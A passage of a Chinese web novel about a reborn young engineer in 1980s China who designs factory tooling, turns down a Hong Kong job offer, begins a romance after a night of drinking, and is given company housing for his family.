众人都围在他身后,看着杜国强标准、清晰、快捷
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的画图手法,一个个瞠目结舌;再看杜国强设计的工装夹具,众人更是闻所未闻。
“这画得也太好了!”有人忍不住惊叹道。
“杜国强以前修过这些吗?没见过啊。他不是才初中毕业不久吗?”
众人一个个围在他身边,小声议论着。
“莫非这就是人家常说的天赋?”
杜国强当然不会告诉众人,其实他这画图的手艺已经有好几十年的历史了。
对他而言,将脑海中的设计转化为图纸,早已是水到渠成之事。
看到杜国强聚精会神地画着图,一旁的竹青莲眨巴着眼睛,好奇地打量着他。
这种绘图能力,即便在与国际化接轨的港岛里,也很难见到如此出色的设计师。
就在这时,杜国强手中的铅笔“咔哧”一声,因用力过猛,笔芯突然崩坏。
他顿时有些烦躁——此刻正被设计思路勾着瘾,只想赶紧画完图纸。
他早已进入了寻常人说的“学痴”境界,头也不抬地将一把铅笔递向身旁的人:“帮我把这些笔削尖。”
铅笔递到了竹青莲手里。她一时没反应过来,愕然地指指自己:“你说的是我?”
杜国强皱着眉:“不然呢?有问题吗?”
两人的对话让旁边的朱厂长吓得浑身一颤,他慌忙咳嗽两声,颤巍巍地想打圆场:“算了算了,我来削吧,我来削——”
竹青莲却饶有兴致地摆摆手:“不用,我来就行。”
她拿起桌上的削笔刀,站在杜国强身旁认真削起笔来。
朱厂长看着这场景,心里忍不住给杜国强竖起大拇指——这小子知道自己在干什么吗?居然让港岛上市集团的老总给他削铅笔!
不过这两人并肩站着的模样,还真有种说不出的默契。
朱厂长越看越觉得般配,冷不丁被自己这念头逗得低笑出声。
嗨,瞎琢磨啥呢?
就算杜国强有通天本事,人家竹青莲可是上市集团的老总。
两人身份差距这么大,怎么可能搭得上关系?
第25章 我要和你睡觉
大约过了一个多时辰,杜国强才从“学痴”状态中回过神来。
他抬手擦去额间的薄汗,小心翼翼端起刚完成的图纸,长舒一口气:“好了,就先按这个做。”
他将图纸递给一旁的模具师傅。
老师傅两眼瞬间发亮,如同捧着稀世珍宝般上下打量,甚至特意戴上干净手套,生怕指尖的污渍弄脏图纸。
“你小子真是绝了!”老师傅惊叹道,语气里满是赞叹,“这图画得跟机械部印刷的标准图纸一模一样,半点不逊色!”
“老张,你别只顾着自己看,也给我们瞅瞅!”旁边的工友伸长脖子,急得直搓手。
模具师傅老张横了对方一眼,护崽似的将图纸往怀里收了收,骂道:“少瞎白扯!你要是把图弄皱半点,老子当场踢断你的命根子!这图以后得放模具组当镇组之宝,供起来当示范用!”
“你小子还真是会给人惊喜!”一旁的朱厂长忍不住开口,语气里满是惊叹。
虽说上次见过杜国强作图,但此刻看着图纸,才惊觉自己低估了他——那些规整的线条、精准的标注,分明是实打实的专业设计!
杜国强神色疲惫,有气无力道:“那这东西就交给模具师傅去看吧,我先去睡一觉。。”
娄锡顺赶忙叮嘱:“快去吧,别累垮了!安阳还指着你这颗金脑袋发光发热呢!”
竹青莲立在原地,目光追着他的背影。
朱厂长忍不住问:“竹女士,你为啥不告诉小杜你的**?还帮他削铅笔……”
竹青莲轻笑着摇头:“说出来不过让他多几分拘谨罢了。让我心甘情愿削铅笔的人,可没几个。”
她唇角勾起意味深长的弧度,眼底闪过兴味,“我的身份先别透露,下次见面,我倒要瞧瞧他知道真相后是什么表情。”
“还是你们港岛的人会玩!”朱厂长笑着给她竖大拇指,“行,等着看小杜的表现了!”
……
杜国强没回安阳厂宿舍——重生归来后,他实在受不了那间充斥臭汗味的八人间。
可城里没落脚点,能去哪?他几乎没思索,便想到了刘静怡家。
如今刘静怡在厂里的危机解除,家中只有她一人,安静又安全,正是最合适的借宿之地。
所幸刘静怡家离厂子不远,很快杜国强便敲了门。
刘静怡开门见到他,惊讶问:“你不是在乡下吗?咋这么快回来?”
他笑着调侃:“事儿办得差不多,回来给厂子救火。不欢迎我?”
刘静怡脸颊微红:“这有啥不欢迎的,咱俩清清白白的。就是大白天找我做啥?难不成让我请你下馆子?”
杜国强连忙摆手,眼神疲惫却认真:“当然不是,我来你这儿……主要是想跟你这儿睡觉。”
“啥玩意儿?”刘静怡当场愣住,反应过来后脸颊腾地红透,从耳根烧到脖颈,结结巴巴反问:“跟、跟我睡觉?”
刘静怡对杜国强本就心存好感,两人关系近来升温,那层窗户纸已隐隐到了要捅破的地步。
可杜国强一开口就要“睡觉”,让她瞬间羞愤——这是把自己当成什么人了?
她挣扎着思索半晌,咬牙道:“咱俩不能进展这么快,婚前这种事我没法答应。我觉得…可以先从处朋友开始。”
杜国强一愣,这才发觉刘静怡误会了,连忙咳嗽两声解释:“我是说借住一下!单位宿舍太吵,想找个清静地方睡会儿。”
“啊?哦、哦哦!”刘静怡恨不得当场找地缝钻进/,慌忙侧身让道:“自然欢迎,请进请进!”
要照往常,杜国强多半会借这个由头调侃刘静怡两句。
这放到后世,妥妥的社死名场面。
只是眼下他困极了,没那个心情,在刘静怡家沙发上倒头就睡,发出了轻轻的呼噜。
刘静
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怡也从家里找出毛毯来,给杜国强盖在了身上,坐在一旁傻愣愣地看着熟睡的杜国强,脑子里闪过刚才说睡觉的画面。
简单睡了几十分钟后。
杜国强揉了揉自己的脑袋,从睡梦中醒了过来。
这具身子还是没有适应后世的那种工作强度,得一点一点地往出培养。
杜国强记得自己前世最巅峰时能够连着画十七八个时辰的图,而现在仅仅是画一个小时就累的跟要死一样。
“年轻人还得练啊。”杜国强忍不住感慨。
“你醒啦?”就在这时,刘静怡带着碎花围裙,手上拿着一个碗,从厨房里走了出来,将碗递在了杜国强面前。
“刚热的粥,你喝上一碗暖暖身子。你这是干啥活了?咋能累成这样?”
杜国强接过碗,跟刘静怡道谢了一句,把自己在安阳厂为工人师傅们画图的事情说了一遍。
说着说着,杜国强忽然瞳孔一亮,脑海中如闪电劈过——忽然想到上午那张图纸竟有一处关键能优化!
“静怡,你家有纸笔没?借我用用,有处地方得改改!”他猛地坐直身子,眼神里满是兴奋。
刘静怡愣了愣,随即点头:“当然有!”转身小跑回房间,很快抱着素描本和铅笔出来。
杜国强接过纸笔,指尖不自觉摩挲着纸面,他深吸口气,铅笔落下。
一旁的刘静怡看得入了迷,目光追随着杜国强笔尖游走的轨迹。
她鬼使神差地也找出纸笔,依样画葫芦描摹起来。
杜国强偶然间瞥向她的方向,目光落在那图纸上的瞬间,顿时陷入呆滞。
这图画的是有水平的。
“静怡,你爸是不是以前教过你画图?”
刘静怡茫然摇头:“没有啊,我瞎画着玩。”
瞎画着玩?
杜国强盯着那图纸,喉结滚动了两下。
天赋,这才叫做天赋啊!
第26章 陪我喝酒
“静怡,你要不考虑再回学校读书吧?”
杜国强此刻有些心烦意乱,摸了摸裤兜,感觉空荡荡的,这才想起现在的自己并没有抽烟这个习惯。
刘静怡没有听出杜国强话语中的调侃,反而还沉思了片刻,说道:“我们都应该继续读书,我查过政策了,咱们这里的求学路以后只会越来越简单。等我们在厂里干几年,攒些钱,也许真的能有考大学的机会。”
这小妮子竟然已经算到这一步了!
后面国家的政策越来越开放,求学路也确实通畅了许多。
重生归来,杜国强也期待着自己能有个大学文凭,不为别的,只是在向上晋升的过程中,这点实在太过重要了。
很多时候,体制内往上升不是因为能力不够而没有晋升,只是人家一个北清毕业的毕业生和他这个初中毕业的“泥腿子”相比,哪个更有说服力?
“求学的事情我们以后再议,你先来跟我看看这张图。”
杜国强没有轻视刘静怡是初学者的念头,细致地跟她讲解起了这份图。
刘静怡听得如痴如醉,甚至提出了一些反驳:“为什么这个工装的拐角处设计不能更平滑一些?我觉得这样更有助于工装定位,增加生产出来的产品精度。”
她时不时还能提出一些建设性的建议。
两人就这样交谈到深夜,刘静怡一直兴趣不减,像是喝了六七杯浓茶一般,而杜国强实在是顶不住了。
“静怡,我扛不住了,甘拜下风,要先睡一会了。”
杜国强几乎是落荒而逃,逃出了书房。
但刘静怡并没有松懈,反倒是脑海中浮现了许多想法。
她坐在书桌前,对杜国强所画的那个工装图纸进行了改善,只觉得越来越精神。
半夜两点多的时候,她总算是完成了改造。
刘静怡伸了个懒腰,恨不得现在就把杜国强摇醒,告诉他自己的奇思妙想。
就在她离开书房,打算回到自己的房间睡觉之时,忽然看见客厅里似乎有个人影,鬼鬼祟祟的。
是谁?
杜国强此刻还熟睡着,隐隐约约能听到呼噜声,那这边肯定就是闯进外人了。
刘静怡神色紧张起来。经过前些时间的工人讨薪事件后,她特别怕有人悄无声息地闯进家门,对这类事很敏感。
她下意识地抄起一边的玻璃花瓶,朝着那道人影呵斥道:“你是谁?滚出去!”
那道悉悉索索的人影听到刘静怡的声音,顿时停住。佝偻的身躯发出一道略带沙哑的声音:“静怡,是我,我是你爸。”
客厅的灯被那道人影打开,半亮的灯光下,刘静怡望着面前胡子拉碴、头发乱糟糟的男人。
她一阵颤抖——真的是她的亲爹刘占福。
“刘占福,你还有脸回来?”
刘静怡眼眶中顿时涌上了泪水,死死地盯着刘占福。
“爹错了,是爹不好。”
刘占福抬腿便要过来安慰自己闺女。
“别过来!”
刘静怡歇斯底里地喊了起来,“我没你这样的**犯爹,没你这样的赌徒爹!你把厂里工人的工资拿去赌,你考虑过我的感受吗?”
刘占福喉咙滚动,声音低沉下来:“这件事我也是有苦衷的,爹绝对不是故意要害咱们厂的工人的。具体的原因我现在还没法跟你说。等到以后有机会了,再跟你谈谈,好吗?”
刘占福恳求般地询问道。
刘静怡愤愤地盯着对方,眼中满是失望:“别在这狡辩了,我没你这样的爹,以后再也不要见到你了!”
看到往日乖巧的闺女,此刻如同看待仇人一般敌视着自己,刘占福内心就忍不住一阵刺痛。
其实他原本有很多机会逃窜的,逃到别的省份,甚至是异国他乡。可是脑子里却一直牵挂着这个闺女,没舍得走远。今天回来也只想再看看自己闺女罢了。
就在这时,里面传来了杜国强的喊声:“刘静怡,这是出什么事了吗?”
杜国强被两人的喊声吵醒,来到客厅之中,一眼便锁定在了刘占福的身上。
“厂
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长!”
“杜国强,是你小子!”
两人几乎是同时开口说道。
刘占福一脸惊愕,嘴巴张得老大,有些难以接受眼前这一幕:“你、你、你咋住在我家了?”
刘占福的眼神在刘静怡跟杜国强之间不断徘徊,神情愕然,自言自语道,“是了,你俩以前的关系一直都算不错。”
刘占福突然有种自家辛苦养大的白菜被路过的山猪*拱了的气愤感。
可是眼下他还顶着一个通缉犯的名头,对此竟然毫无办法。
最终,他也只能冷哼一声,宣泄自己心中的不满:“小子,我不管你是用什么办法哄到我家闺女的。你要是敢始乱终弃,别怪我对你不客气!”
刘占福放了句狠话后,有些不舍地又望向刘静怡,喉结滚动道:“静怡,爸爸得走了。”
说完,他便推门而去。
只留下客厅里被风吹动的那阵风铃发出声响,证明刘占福刚刚确实在这套房子里出现过。
刘静怡此刻两眼已经通红,她艰难地扭头望向杜国强:“今天的事,希望你能别说出去。”
杜国强点了点头:“自然。”
说实在的,他也没想到能够再次遇到刘占福。
本来以为刘占福要么是扒上火车,潜入大西北,在某个黑矿厂里做起了矿工。
要么就是混上走私船出了国外。
没想到对方竟然现在还在区里,莫非这件事背后还有隐情?
杜国强回味着刘占福刚才讲的那两句话,隐隐约约地发现有一丝不对劲。
“你也别太过难受了,”
杜国强开口安慰刘静怡。
刘静怡神色落寞,一脸疲倦地闭上了双眼。
停顿了片刻后,刘静怡开口道:“杜国强,我还欠你一顿酒吧?先前你下乡之前就答应你的。”
杜国强愣了愣,无奈地点了点头:“你咋还记得这事呢?不是都跟你说了,我酒品不好吗?”
刘静怡道:“不要说这些推辞的话。跟我喝一场,我想醉,不想清醒着。”
第27章 酒后乱性
咋就不相信自己呢?我是真的酒量不行,你是真不怕我酒后乱性啊?
杜国强无奈地叹了口气,“你都这么说了,那看来我也只能舍命陪君子了。”
刘静怡噗嗤一声笑了出来,脸蛋子红扑扑的:“我是女士,不是君子!”
她深吸了一口气道,“那老不死的,倒是给自己攒了好几瓶好酒。估摸着他以后是用不到了,也罢,今天你就陪我一块喝完。”
说着,刘静怡便走到家里的橱柜前,找出一个用锁头锁着的皮箱子。
打开后,里面瓶瓶罐罐全是不同厂商的好酒。
杜国强只是粗略扫了一眼,便知道刘占福是个爱酒之人——这里面有茅台、五粮液、汾酒,全是各个地区极具代表性的名酒。
刘静怡从里面拿出一瓶五粮液长江大桥60度的版本。
杜国强对这个酒很有印象,这酒再过几年差不多就该停产了,后世存量极少,一瓶甚至能被拍到2万元的天价。
“要是让以后的那些爱酒人士知道我一个不喝酒的人喝这样的酒,怕是杀了我的心都有了。”
杜国强猜测道。
刘静怡又从橱柜里找出两个陶瓷碗,利落地给自己和杜国强分别满上。
两人就着几碟小菜,端起酒碗,渐渐谈论起了往事。
刘静怡神色悲凉,声音发颤:“事情刚发生的时候,我怎么都不相信,我爹竟然是个**犯。可实打实的证据就摆在那里,叫我......叫我怎么说服自己不信?”
刘占福在刘静怡心里的地位非同寻常。
厂里的老厂长平日里做事有条不紊,若放在别人家,妥妥是位模范老爹。
可就是这样一个人,竟然也会**。
刘静怡刚得到这个消息时,整个人如遭雷击,缓了好久,才接受这个残酷的事实。
杜国强越喝越晕,酒精如潮水般迅速占领了他的大脑。
而刘静怡沉浸在自己的情绪里,丝毫没注意到这点,仍自顾自地诉说着过往。
忽然,她感觉有一双手覆上了自己的手,这才察觉到一丝不对劲。
“杜国强......你怎么了?”
此刻的杜国强早已昏昏沉沉,大脑完全无法接收外界信息,直接一头栽进了刘静怡怀里。
刘静怡只觉胸口被压得发闷,脸蛋瞬间涨得通红,她结结巴巴地推搡着杜国强:“你快起来。”
可杜国强毫无反应,彻底昏死过去。
刘静怡这才后知后觉,先前酒前杜国强说自己喝醉后可能会失控,原来不是调侃,而是实实在在会发生的事。
眼下杜国强就像一辆沉重的吉普车,结结实实地压在刘静怡身上,她使出浑身力气也推不开。
“这像什么样子嘛?”
刘静怡又羞又恼,难为情地看着面前醉得不省人事的杜国强。
可看着看着,她的眼神不自觉变得柔和,借着酒意,竟开始细细打量起眼前人。
鼻梁高挺,棱角分明的轮廓让刘静怡内心扑通直跳。
刘静怡单手撑着下巴,嘴角不自觉上扬,目光中满是醉意与柔情。
渐渐地,困意袭来,她也不知不觉睡了过去,客厅里,两人姿态亲昵,静谧的夜中,浅浅的呼吸声交织在一起。
......
“我我我,我得去上班了!”
第二天清晨,杜国强醒来后,经过刘静怡的提醒,回想起昨晚的事。
瞬间面红耳赤,结结巴巴地套好衣服,几乎是落荒而逃般冲向门口。
“先等等。”
刘静怡咬了咬红唇,鼓足勇气走到杜国强身边,伸手替他整理起衣襟,“上班可不能凑合,衣服得拾掇仔细。你现在身份不一样了,穿得差些,别人该看你笑话了。”
她语气带着不易察觉的温柔。
杜国强喉结不自觉滚动,声音带着一丝忐忑:“我们现在……算是确立关系了吗?”
刘静怡闻言沉默片刻,抬眼时眸中闪过一丝幽怨,道:“要是不算——那我可得去趟派出所,请人来抓流氓了。”
杜国强深吸一口气道:“放心,日后我定会好
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好待你。”
刘静怡轻轻“嗯”了一声,声音细若蚊蚋,红晕悄悄爬上脸颊。
怎么就这么稀里糊涂的确立了关系?
杜国强摇了摇宿醉的脑袋,暗自思忖。
以后酒这东西还真得少喝。跟刘静怡喝还行,要是换作其他人,怕是真得把自己送进派出所了。
他整理好思绪,带着昨日与刘静怡共同绘制的图纸,再次来到安阳厂的模具组。
当他把新图纸递给模具师傅时,对方一听又要改动,当即皱起眉头,满脸不乐意。
杜国强讲解起改良后模具的优势与作用。
随着他细致入微的说明,模具师傅逐渐被新设计带来的巨大提升潜力所吸引,脸上的阴霾一扫而空,转而露出了满意的笑容,欣然答应了下来。
“安泰那边能提供我们所需的碳钢吗?”
杜国强开口询问道。
模具师傅摇了摇头:“昨天采购科的李科长已经跟安泰再三确认了,对方明确表示没有我们所需的钢材。”
杜国强点点头,神色平静:“这倒也不意外,安泰向来服务凤凰、永久这样的自行车牌子,人家的自行车配件基本不会改动,自然犯不着为咱们降低钢材的碳含量。”
“既然如此,那我就到朱厂长那边走一遭,看看他那边的供货商有没有符合我们型号的钢材。”
杜国强话音刚落,便转身向厂里的工人们借自行车。
工人热情地说道:“杜师傅您尽管骑,什么时候用够了再送回来就行!”
来到八零厂,杜国强直奔朱厂长的办公室。
厂里的安保认出是他,并未阻拦。
刚推开办公室的门,杜国强到嘴边的话瞬间咽了回去——朱厂长面前站着一人,身着亮丽时髦的皮大衣,脚蹬锃亮小皮鞋,墨镜遮面,头发高高盘成丸子头,整个人既青春又透着股飒爽劲儿。
“这……这不是昨天的那个女工吗?”
杜国强瞪大了眼,满脸惊愕,眼前人模样大变,与昨日朴素工装的形象判若两人。
第28章 广纳贤才
“是不是傻眼了?”
朱厂长爽朗地笑着,站起身来,对杜国强说道,“重新给你介绍一下吧,这位是港岛玛瑞贸易的负责人竹青莲女士,是我们八零厂的意向投资人。”
杜国强吃了一惊——自己昨天还让人家帮自己削铅笔呢。
前世他虽说对竹青莲在商业领域的成就印象很深,可是没曾想到过对方年轻时竟然这么漂亮。
想到这,杜国强尴尬地咳嗽了两声:“失敬失敬,昨天我冒犯了。”
说着,杜国强朝竹青莲伸出手来。
竹青莲也没有扭捏,笑了笑,道:“能帮杜先生削铅笔,我荣幸得很呢。”
“杜先生年纪轻轻就已经是安阳自行车配件厂的中级技术员,又在八零厂有所兼职,未来前途不可限量啊。”
这小妮子对自己的情况进行过调查。
杜国强愣了愣,不过也没太多在意——港岛大公司做这种事,太正常不过了。
他客套地称赞道:“竹女士才是人中龙凤。我听说您年纪轻轻就接了家族的班,现在玛瑞贸易已经成了港岛名列前茅的贸易公司,和您比起来,我应该还要再学习才是。”
竹青莲笑了笑,从自己的奢侈品皮包里掏出一份用塑料胶皮包裹的纸质文件,说道:“我有个想法,若能和杜先生你加深了解,以后也会有更多的合作机会。我们在港岛有一家机械制造公司,主要负责对亚、非等地区的机械投资。我想请杜先生你过去担任一个部门经理的职位,你觉得如何?”
朱厂长原本还笑呵呵地看着竹青莲和杜国强其乐融融,感慨年轻就是好,致敬自己逝去的岁月。
他将一口茶水送到嘴里,听到竹青莲这话,猛地吐了出来,顾不上擦嘴,从椅子上站了起来:“竹女士,你这是什么意思?”
刚才两人才侃侃而谈,商讨合作,转眼这竹青莲就要从自己手上挖人。
虽说杜国强的编制现在不在自己厂里,可毕竟也在替八零厂干活。
刚才还叫人家小甜甜,转眼就叫牛夫人?
竹青莲看着一脸震惊的朱厂长,脸色平静:“朱厂长别太过担心,不过是正常的人才招聘罢了,我这也是广纳贤才,你我之间的合作依旧可以进行。”
竹青莲扭头望向杜国强,“怎么样?我觉得你没有任何理由拒绝。在港岛,你的才能将会得到更大程度的发挥,我昨天见过你的水平,你绝对不比港岛的那些顶级设计师差。”
要不说人家能在港岛这片尸山血海里杀出来呢?
这份果断,杜国强都有些自愧不如。
他深吸了一口气,道:“竹女士,我想我还是暂时留在大陆吧,这里更加适合我。”
竹青莲皱了皱眉头,指了指合同上那一连串的数字:“你要不要考虑一下你的年薪再说?在内地,你觉得你什么时候才能赚到这笔钱?”
竹青莲给杜国强开出了15万一年的天价。
这笔收入,但凡换个其他人,巴不得上赶着答应,可偏偏落在了杜国强身上。
“见故人重要,但是对我个人而言,留在大陆还有别的事情需要考虑。”
竹青莲有些不死心,说道:“我知道你们是在爱国主义教育下成长起来的一代。可是港岛说到底也是国家的一部分,只是暂时没有回归罢了。在那里,你依旧可以像我一样,以自己的手段帮助内地。”
“我之所以不愿答应您的雇佣,并不是因为对港岛的特殊地位有什么忌讳。”
杜国强深吸一口气道,“而是我相信,我的能力留在内地才会有更大的展现。”
竹青莲的眼不可察觉地跳动了片刻,道:“你要知道,内地现在在那些发达国家看来,还是处于一穷二白的阶段。”
杜国强笑了笑,道:“是的,但同样,这也是一个即将急速扩张的大市场。”
竹青莲点了点头,从杜国强手里收回那张合同:“我还会在内地待一段时间,如果在此之前你想通了,还可以来找我。玛瑞贸易很欢迎你这么一位顶尖设计师。”
“朱厂长,
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那我便告辞了。”
竹青莲做事向来雷厉风行,眼下见无法说动杜国强,便不愿再浪费时间。
朱厂长咳嗽了一声:“那您慢走。”
他本来想出去送一送,可是竹青莲刚才的举动,多少让这个局面变得有些尴尬,索性暂时不送了。
“小杜,没想到你对咱们国家感情这么深,这觉悟,换个一般的普通干部来,怕是都比不过你。”
朱厂长激动地跟杜国强握了握手,内心惊出一阵冷汗。
倘若刚才杜国强真的答应了跟竹青莲到港岛去工作,他也没有办法阻拦。
“你放心,以后不管什么困难,你都可以向八零厂提出来。虽说你的编制落在了安阳厂,但始终是八零厂的一家人。”
朱厂长拍了拍胸脯保证道。
“哦?朱厂长是真心的吗?”
杜国强嘴角一咧,“那我眼下确实有个麻烦事,想请朱厂长帮帮忙呢。”
坏事!
朱厂长感觉自己像是主动撞在了枪口上。
咋觉得这小子早有预谋呢?
不过话都说到这份上,他只能硬着头皮问:“啥事?你但说无妨。”
“是这样的,我家是农村户口,母亲和两个妹妹还在农村,我有些放心不下她们母女三人在村子里的安全,因此想把她们接到城里来。但您也知道,我一个单身汉,平日里都住宿舍,实在没地方安置。”
朱厂长叹了口气:“其实八零厂的住房也挺紧张,不过你既然开口了,我也不能不帮这个忙。房子的事我帮你想想办法。”
杜国强爽朗一笑:“朱厂长果然是我们八零厂的指导灵魂!相信在您带领下,咱们八零厂的自行车肯定能畅销全国,不,甚至要卖到发达国家去,成为世界自行车的新标杆!”
“哈哈,你小子尽乱说话。”朱厂长被哄得心花怒放,随口客套:“还有别的事吗?”
谁知杜国强立刻接话:“还真有。”
朱厂长:……
这小子,还真是一点不客气。
第29章 八零厂分房
朱厂长算是今天见识到什么叫套中套了。
这杜国强看上去一表人才,是个正经人,背地里却不知道藏了多少弯弯绕绕。
朱厂长有些疲惫地叹了口气,自己这个老实厂长,咋净和这些精明人打交道?
先是竹青莲,现在又是杜国强。
“我这颗老心脏,感觉火力有些不太够了啊。啥事你就说吧。”
杜国强咳嗽一声,清了清嗓子道:“是这样的,我母亲来到城市之后,属于无业游民;我那两个妹妹上学的地点也不在咱们辖区,想要办手续很是麻烦。因此我想着,朱厂长,你能不能给开一个介绍信,先把我妹妹上学的事办妥。”
“另外,我看咱们八零厂某些地方的卫生做得不够到位,犄角旮旯里经常藏污纳垢,有些职工在后山抽完烟,烟头子直接往树底下一扔,很影响环境。”
朱厂长抬手示意杜国强停下,无可奈何地望向他:“我知道你啥意思了。行,让你母亲来咱们厂干后勤工作。不过我可说好,正式编制我这里给不了,只能给临时的。”
杜国强点了点头:“这就足够了。”
他也只是暂时给母亲找个合法身份,以免日后遭人排挤清算。
“介绍信跟你妹妹上学的问题倒是不大,教育局打算以八零厂的名义,新建一所小学,很快就要完工了。”
朱厂长说到这,还有些感慨。
虽说以前教育局提过这个项目,但是在八零厂转型时,对方却缩了回去。毕竟八零厂转型是死是活,结局未定,贸然以八零厂的名义新建学校,怕是风险很大。
而如今,杜国强给八零厂找到了造自行车的路子,区里市里不少领导都很看好,资金方面也没有断掉,八零厂的日子蒸蒸日上,教育局这才又找上了门。
说到底,八零厂之所以能拥有这个附属小学,背后还全是杜国强的功劳呢。
照这点来看全场很多适龄工人都欠杜国强一个人情,凭这点而言,帮他解决一些麻烦。
也算是八零厂回礼了。
“是要好好给你小子弄弄!”
......
朱厂长动作很快,说帮杜国强找房,仅仅一顿午饭时间便有了眉目。
原房主是一位退休老干部,儿女已搬到京城,老干部为了离儿女近一些,也决定搬走。
八零厂在支付了一定的交接费用后,从老干部手里重新获得了这栋房子的支配权。
杜国强下午便拿到了房子的钥匙,特地过去查看。
这是一座独门独栋带小院的房子,虽说比起时髦的筒子楼稍显老旧,但杜国强却不喜欢那样的楼房——筒子楼哪有独门独院住着舒服?
房子面积大概七八十平,再算上院子里两个自搭自建的小棚子,空间十分实用。
院子地面用红砖头铺就,特地留了两片空地,用来栽种瓜果蔬菜。
总体上杜国强相当满意,只需再调整些细节即可。
他打算这两日就打电话回村里,让母亲和妹妹尽快搬到城里。
不过在此之前,杜国强觉得该先请在八零厂工作的表哥表嫂吃顿饭庆祝。
于是临近下班,他在车间拦住了嫂子蒋秀秀,让她通知表哥,几人约好在附近一家小馆子相聚。
这家馆子老板有个自制的烧烤架子,正是这点吸引了杜国强——他让老板把羊肉、牛肉切好串成串,亲自上阵烤制。
晚上6点多,表哥杜源和嫂子蒋秀秀后姗姗来迟。
杜源一看到灯下摆满的肉串,眉头顿时皱起,满脸疼惜地说道:“这得花多少钱?你是赚了大钱了,但以后再这么浪费,就别叫我出来吃饭。”
原本他以为只是简单吃顿便饭,没想到杜国强竟请吃烧烤,还备好了牛羊肉。
这么一折腾,少说十几块钱打了水漂,还得搭进去肉票。
杜国强一愣,这才想起后世随意消费的习惯,在这个年代显得格格不入——烧烤这种吃食,普通人怕是一年都舍不得尝一回。
难怪表哥会生气,他连忙咳嗽一声打圆场
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:“下次肯定改,表哥放心,以后绝不这么破费了。”
杜源这才和蒋秀秀坐了下来。
尽管杜源对这顿饭满心抵触,可不得不承认,杜国强的烧烤手艺着实了得。
肉串被烤得恰到好处,外皮焦香,内里鲜嫩,油脂在炭火上滋滋作响。
平日里大家吃肉机会少,猛吃几串后,胃里直犯恶心,连忙夹了几口菜叶子,才缓过那股油腻劲儿。
“最近你们安阳厂没什么忙的吗?”杜源握着一罐啤酒,看向杜国强问道。
“还好,主要就是协助八零厂开通一些工装,其他倒没什么。”杜国强随口答道。
听到这话,杜源深深皱起眉头,压低声音劝阻道:“国强,我得劝你一句。说到底,你还是安阳厂的人,天天在我们八零厂忙活,成什么样子?朱厂长这人我了解,就算你帮八零厂找到了转型产品,他也未必会给你多少好处。”
“表哥,”杜国强刚想开口说朱厂长刚给自己分了房,还帮家里人解决了工作和上学的问题,却被杜源抬手打断。
“你瞅瞅,表哥我在厂里少说也干了一年,车床技术在师傅里都是拔尖的,可朱厂长平时正眼都不瞧我一下。就他这人,怎么可能在八零厂给你什么好处?帮忙差不多就行了,千万别陷进去!我看你还是回安阳厂好好发展。”
杜国强好不容易找到插话的机会,咳嗽一声说道:“表哥,其实我想说的是,朱厂长刚刚才给我分了套房。”
“小恩小惠罢了。”杜源头也不抬,随手将一串豆角送进嘴里。
话刚出口,他嚼了几口突然愣住,猛地把豆角吐在地上,瞪大眼睛死死盯着杜国强:“给、给你分了套房?!”
“我说杜国强,你这是在开玩笑吧?”
杜源双眼死死地盯着自家表弟,仿佛要将其吃了一般。
杜国强猛地一哆嗦,赶忙告知确实是一套房子,就在咱们八零厂。
离你们的宿舍不远,要是有时间了可以来家里坐坐。
第30章 人贩子的窝点?
在八零年代,农村出身的人到城里谋生,可谓步履维艰。
一来没有城市户口,身份尴尬,大多只能做临时工,随时面临被辞退的风险。
二来住房问题难以解决。
商品房概念尚未普及,市面上绝大多数房屋都是公房,由单位或街道统一分配。
然而分配难度极大,各地住房需求旺盛,福利房供不应求,分房往往需要漫长的排队等待,许多人连续数年都无法分到房子。
不仅如此,分房过程中存在诸多变数,人际关系亲疏、人情往来多少,都可能影响最终结果。
杜源此前也向八零厂提交了分房申请,可他心里清楚,自己分到房子的机会渺茫,大概率还得等上好几年。
闲暇时,他总会憧憬未来:等拿到房子,一定要和媳妇精心布置新家,再添个孩子,稳稳地在城里扎根。
可是眼下,杜国强这个安阳厂的“外人”,竟抢先自己一步在八零厂分得了房子。
杜源瞬间僵住,脸上青一阵白一阵,猛地掐了一下自己的大腿,深吸一口气,声音发颤地问道:“你说的是真的?”
杜国强郑重地点了点头:“这事就是朱厂长给我办的。”
他嘴角勾起一抹笑意,接着说道,“另外表哥,你过些天就能见到我妈和我妹妹了。朱厂长还帮忙解决了我妈的工作和妹妹上学的事,以后她们要到城里跟我一起生活了。”
杜源只觉脸上火辣辣的,仿佛被人狠狠扇了耳光。
先前自己还言之凿凿地劝杜国强别指望朱厂长,结果人家为了留住杜国强,不仅分房,还解决了他家人的工作和上学难题。
他攥紧拳头,心里又羞又窘,恨不得当场找个地洞钻进去,再也不出来。
不过,这里哪有地洞可钻?
真要找,也只能去八零厂的防空洞躲着。
杜源喉结上下滚动,艰难地咽了口唾沫,强装镇定地扯出一抹笑:“是吗?婶子也要来城里了,好事好事。等她来了,我请你们一家吃饭!”
杜国强点了点头,扭头望向蒋秀秀:“还有件事得麻烦表嫂您,这些日子帮我参谋参谋,看家里该添办点什么家具。”
蒋秀秀爽快应下:“包我身上!这几天我顺带帮你把房子打扫干净,婶子来了也能住得舒坦。”
.....
自从村支书李天水告诉朱桂芳,她儿子给村委会打来电话,让她尽快收拾东西搬去城里,朱桂芳便在家中忙开了。
她一边帮娘家做饭、下地干活,一边时不时拉着老母亲抹眼泪——此去城里,往后怕是很难再回农村了。
老爷子朱守正见状心里不是滋味,看着媳妇和闺女整日哭哭啼啼,忍不住骂道:“老娘们家家的,整天就知道哭!不就是去个城里吗?能有多远?况且那小子葫芦里卖的什么药还不清楚,先前对你那么冷淡,咋会突然转了性子?”
朱桂芳用袖子擦了擦眼泪,哽咽道:“我自个儿养的孩子,我心里有数。他先前是不懂事,可我们终归是一家人,他心里还惦记着两个妹妹呢。”
朱守正闷头抽着烟枪,烟泡咕噜咕噜冒个不停。
连抽几袋后,他重重磕了磕烟枪,沉声道:“我想好了,我跟你们娘仨一起去!倒要看看这小子,敢不敢把他两个妹妹卖给人贩子!”
朱守正的老伴赶忙拉住他,急声道:“老头子,你瞎凑什么热闹?闺女是去城里享福的,你跟着去干啥?”
朱守正梗着脖子,一脸执拗:“我就是不放心那小子!跟过去盯着,省得他整出什么幺蛾子!”
众人轮番劝说,朱守正却铁了心,谁也拦不住,最后只能由着他一同收拾行囊。
大家都觉得老头子在胡闹——几十公里的山路颠簸,他这把老骨头哪受得了?
好在村支书李天水热心,帮忙联系上一辆进城卖化肥的农用三轮车,才让这一家子得以搭车。
即便搭上了拖拉机,朱守正仍被颠得够呛,一路吐了好几回,脸色青得吓人。
